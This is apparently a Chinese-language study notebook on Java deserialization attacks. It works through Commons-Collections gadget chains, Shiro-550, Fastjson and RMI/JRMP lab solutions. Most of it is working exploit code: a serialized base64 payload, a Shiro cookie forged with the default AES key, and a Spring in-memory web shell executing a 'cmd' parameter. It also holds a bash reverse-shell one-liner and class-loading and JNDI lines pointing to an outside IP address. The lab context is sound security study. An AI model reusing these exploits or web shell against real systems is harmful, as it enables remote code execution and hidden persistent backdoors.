 throws TransletException {}
 public void transform(DOM document, DTMAxisIterator iterator,
 SerializationHandler handler) throws TransletException {}
 public HelloTemplatesImpl() {
 super();
 System.out.println("Hello TemplatesImpl");
 try {
 Runtime.getRuntime().exec("calc.exe");
 }catch (Exception e) {

 }

 }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


package com.sec.test;

import sun.misc.BASE64Decoder;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

/**
 * @author L1ao
 * @version 1.0
 */
public class CommonCollectionsDeserializeDemo1 {
 public static void main(String[] args) throws Exception {
 String b64str = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACUkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAGV9hY2Nlc3NFeHRlcm5hbFN0eWxlc2hlZXR0ABJMamF2YS9sYW5nL1N0cmluZztMAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+ABBMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////AHQAA2FsbHB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAGPMr+ur4AAAAzAD0KAAoAJAkAJQAmCAAnCgAoACkKACoAKwgALAoAKgAtBwAuBwAvBwAwAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABlMZXZpbC9IZWxsb1RlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADEBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHAC8HAC4BAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMAB0AHgcAMgwAMwA0AQATSGVsbG8gVGVtcGxhdGVzSW1wbAcANQwANgA3BwA4DAA5ADoBAAhjYWxjLmV4ZQwAOwA8AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAF2V2aWwvSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAJAAoAAAAAAAMAAQALAAwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAAAoADwAAACAAAwAAAAEAEAARAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQALABgAAgANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAAAwADwAAACoABAAAAAEAEAARAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAEAHQAeAAEADQAAAHYAAgACAAAAGiq3AAGyAAISA7YABLgABRIGtgAHV6cABEyxAAEADAAVABgACAADAA4AAAAaAAYAAAAOAAQADwAMABEAFQAUABgAEgAZABYADwAAAAwAAQAAABoAEAARAAAAHwAAABAAAv8AGAABBwAgAAEHACEAAAEAIgAAAAIAI3B0ABJIZWxsb1RlbXBsYXRlc0ltcGxwdwEAeHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAQWwALaVBhcmFtVHlwZXNxAH4AE3hwcHQADm5ld1RyYW5zZm9ybWVycHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAFdmFsdWV0AAR4eHh4eHh2cgAeamF2YS5sYW5nLmFubm90YXRpb24uUmV0ZW50aW9uAAAAAAAAAAAAAAB4cA==";
 BASE64Decoder b64 = new BASE64Decoder();
 byte[] bytes = b64.decodeBuffer(b64str);
 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
 in.readObject();
 }
}

不使用InvokerTransformer

1
2
3
4
5
6


Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class),
 new InstantiateTransformer(
 new Class[] { Templates.class },
 new Object[] { templatesImplObj })
};

shiro 550

tomcat9以上不支持java1.7jre，改用tomcat8

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


package com.sec.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.util.ByteSource;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import org.apache.shiro.crypto.AesCipherService;

public class CommonCollectionsAllKillShiro {
 public static void main(String[] args) throws Exception {
 BASE64Decoder base64Decoder = new BASE64Decoder();
 byte[] code = base64Decoder.decodeBuffer(CommonCollections1.getClassBytes(evil.HelloTemplatesImpl.class));
		
 //TemplatesImpl对象
 TemplatesImpl templatesImplObj = new TemplatesImpl();
 CommonCollections1.setFieldValue(templatesImplObj, "_bytecodes", new byte[][] {code});
 CommonCollections1.setFieldValue(templatesImplObj, "_name", "HelloTemplatesImpl");
 CommonCollections1.setFieldValue(templatesImplObj, "_tfactory", new TransformerFactoryImpl());

 Transformer transformer = new InvokerTransformer("getClass", null, null);

 Map innerMap = new HashMap();
 Map outerMap = LazyMap.decorate(innerMap, transformer);

 TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templatesImplObj);

 Map expMap = new HashMap();
 expMap.put(tiedMapEntry,"value");
		//outerMap.remove("key");
 outerMap.clear();

 CommonCollections1.setFieldValue(transformer, "iMethodName", "newTransformer");
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(expMap);
 objectOutputStream.close();

 byte[] payloads = byteArrayOutputStream.toByteArray();
 AesCipherService aes = new AesCipherService();

 BASE64Decoder b64 = new BASE64Decoder();
 byte[] key = b64.decodeBuffer("kPH+bIxk5D2deZiIxcaaaA==");
 ByteSource ciphertext = aes.encrypt(payloads, key);
 System.out.printf(ciphertext.toString());

 }
}

加载字节码

类不用包，否则报找不到类

URL[] urls = {new URL("http://101.43.57.52:11012/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("SqlI");
c.newInstance();

5 javaDeserializeLabs

Lab1

直接修改Calc类的属性然后序列化他再编码即可

命令执行exec:

1

bash -c {echo,base64encode}|{base64,-d}|{bash,-i}

Lab2

cc6改一下注意writeInt和writeUTF的顺序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70


package com.test;

import com.yxxx.javasec.deserialize.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * @author L1ao
 * @version 1.0
 */
public class Main {
 public static void main(String[] args) throws Exception {
 Transformer[] fakeTransformers = new Transformer[]{
 new ConstantTransformer(1)
 };
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[] { String.class, Class[].class },
 new Object[] { "getRuntime", new Class[0] }),
 new InvokerTransformer("invoke",
 new Class[] { Object.class, Object[].class },
 new Object[] { null, new Object[0] }),
 new InvokerTransformer("exec",
 new Class[] { String.class },
 new String[] {"calc.exe" }),
 };
 Transformer transformerChain = new ChainedTransformer(fakeTransformers);

 Map innerMap = new HashMap();
 Map outerMap = LazyMap.decorate(innerMap, transformerChain);


 TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");

 Map expMap = new HashMap();
 expMap.put(tiedMapEntry,"value");

 outerMap.remove("key");

 Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
 f.setAccessible(true);
 f.set(transformerChain,transformers);


 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeUTF("SJTU");
 objectOutputStream.writeInt(1896);
 objectOutputStream.writeObject(expMap);
 System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// Object o = (Object)ois.readObject();
 }
}

Lab3

上一个payload报：java.lang.ClassNotFoundException: [Lorg.apache.commons.collections.Transformer;

读安全漫谈的时候说会过滤Transformer的数组，用TiedMapEntry绕过即可

报错：java.io.StreamCorruptedException: invalid type code: CA

还是年轻

具体什么原因呢？这里通过报错的堆栈来进行跟随即可，可以发现在反序列化TemplatesImpl出现了问题，调试发现在反序列化TemplatesImpl的时候，相关属性存在数组，所以同样会触发数组反序列化的问题，所以这里的话TemplatesImpl同样不可取了

RMI二次反序列化绕过，解同lab4

lab4

https://blog.csdn.net/mole_exp/article/details/123992395

内存马 spring 2.*

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


package com.test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

/**
 * 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境.
 * 因此比 SpringControllerMemShell.java 更加通用
 * Springboot 1.x 和 3.x 版本未进行测试
 */
public class SpringControllerMemShell2 extends AbstractTranslet {

 public void transform(DOM document, SerializationHandler[] handlers)
 throws TransletException {}
 public void transform(DOM document, DTMAxisIterator iterator,
 SerializationHandler handler) throws TransletException {}

 public SpringControllerMemShell2() {
 try {
 System.out.println("bbnn");
 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
 Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
 configField.setAccessible(true);
 RequestMappingInfo.BuilderConfiguration config =
 (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
 Method method2 = SpringControllerMemShell2.class.getMethod("test");
 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
 RequestMappingInfo info = RequestMappingInfo.paths("/malicious")
 .options(config)
 .build();
 SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa");
 mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
 } catch (Exception e) {

 }
 }

 public SpringControllerMemShell2(String aaa) {
 }

 public void test() throws IOException {
 System.out.println("nnmm");
 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
 HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
 try {
 String arg0 = request.getParameter("cmd");
 PrintWriter writer = response.getWriter();
 if (arg0 != null) {
 String o = "";
 ProcessBuilder p;
 if (System.getProperty("os.name").toLowerCase().contains("win")) {
 p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
 } else {
 p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
 }
 java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
 o = c.hasNext() ? c.next() : o;
 c.close();
 writer.write(o);
 writer.flush();
 writer.close();
 } else {
 response.sendError(404);
 }
 } catch (Exception e) {
 }
 }
}

反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114


package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.util.*;

public class Lab4_RMIConnector_self {
 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }

 private static byte[] getClassBytes(Class<?> clazz) throws Exception {
 String className = clazz.getName().replace('.', '/') + ".class";
 URL classUrl = clazz.getClassLoader().getResource(className);
 try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) {
 byte[] buffer = new byte[4096];
 int n;
 while ((n = in.read(buffer)) > 0) {
 out.write(buffer, 0, n);
 }
 byte[] classBytes = out.toByteArray();
 return classBytes;
 }
 }

 public static String getObject() throws Exception {
 byte[] code = getClassBytes(SpringControllerMemShell2.class);
 TemplatesImpl templatesImplObj = new TemplatesImpl();
 setFieldValue(templatesImplObj, "_bytecodes", new byte[][] {code});
 setFieldValue(templatesImplObj, "_name", "Evil");
 setFieldValue(templatesImplObj, "_tfactory", new TransformerFactoryImpl());

 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(templatesImplObj),
 new InvokerTransformer("newTransformer",null,null)
 };

 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
// new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
// };
 Map map = new HashMap();
 Map lazyMap = LazyMap.decorate(map, chainedTransformer);
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1");

 HashSet hashSet = new HashSet(1);
 hashSet.add(tiedMapEntry);

 lazyMap.remove("test1");

 //通过反射覆盖原本的iTransformers，防止序列化时在本地执行命令
 setFieldValue(chainedTransformer, "iTransformers", transformers);

 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(barr);
 oos.writeObject(hashSet);

 return Base64.getEncoder().encodeToString(barr.toByteArray());
 }

 public static void main(String[] args) throws Exception {
 RMIConnector connector = new RMIConnector(new JMXServiceURL("service:jmx:iiop://127.0.0.1:8000/stub/{$payload}".replace("{$payload}", getObject())), null);

 InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

 Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, connector);

 HashMap expMap = new HashMap();
 expMap.put(tiedMapEntry, "test");
 lazyMap.remove(connector);
 setFieldValue(lazyMap,"factory", invokerTransformer);

 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeUTF("SJTU");
 objectOutputStream.writeInt(1896);
 objectOutputStream.writeObject(expMap);
 String s = bytesTohexString(byteArrayOutputStream.toByteArray());
 System.out.println(s);

 }
 public static String bytesTohexString(byte[] bytes) {
 if (bytes == null) {
 return null;
 }
 StringBuilder ret = new StringBuilder(2 * bytes.length);
 for (int i = 0; i < bytes.length; i++) {
 int b = 15 & (bytes[i] >> 4);
 ret.append("0123456789abcdef".charAt(b));
 int b2 = 15 & bytes[i];
 ret.append("0123456789abcdef".charAt(b2));
 }
 return ret.toString();
 }
}

lab5

利用MarshalledObject 的 readResolve 来二次反序列化绕过blacklist

lab6

修复方式与cve的补丁极其相似，绕过即可

参考：https://y4er.com/posts/weblogic-jrmp/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


package com.yxxx.javasec.deserialize;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;

/**
 * @author L1ao
 * @version 1.0
 */
public class JRMPClient {
 public static void main(String[] args) throws Exception {
 ObjID id = new ObjID((new Random()).nextInt());
 TCPEndpoint te = new TCPEndpoint("ip", 38080);
 UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeUTF("SJTU");
 objectOutputStream.writeInt(1896);
 objectOutputStream.writeObject(ref);
 System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
 }
}

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 38080 CommonsCollections6 "bash -c {echo,base64encode}|{base64,-d}|{bash,-i}"

lab7

javax.management.BadAttributeValueExpException

不知道怎么绕

lab8

5 FastJson

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
JSON.parseObject(payload, Feature.SupportNonPublicField);

需要开启 Feature.SupportNonPublicFiel

JdbcRowSetImpl 利⽤链配合JDNI 注入


绕过补丁：L; LL;; [ MyBatis java.lang.Class 利⽤链，利⽤缓存 mappings

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://101.43.57.52:11012/#Exploit


jdk高版本，
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://101.43.57.52:1099/Exploit\", \"autoCommit\":true}";
 JSON.parse(PoC);

BadAttributeValueExpException
	JSONArray
		JSON:toString
			JSON:toJSONString
				getOutputProperties
					RCE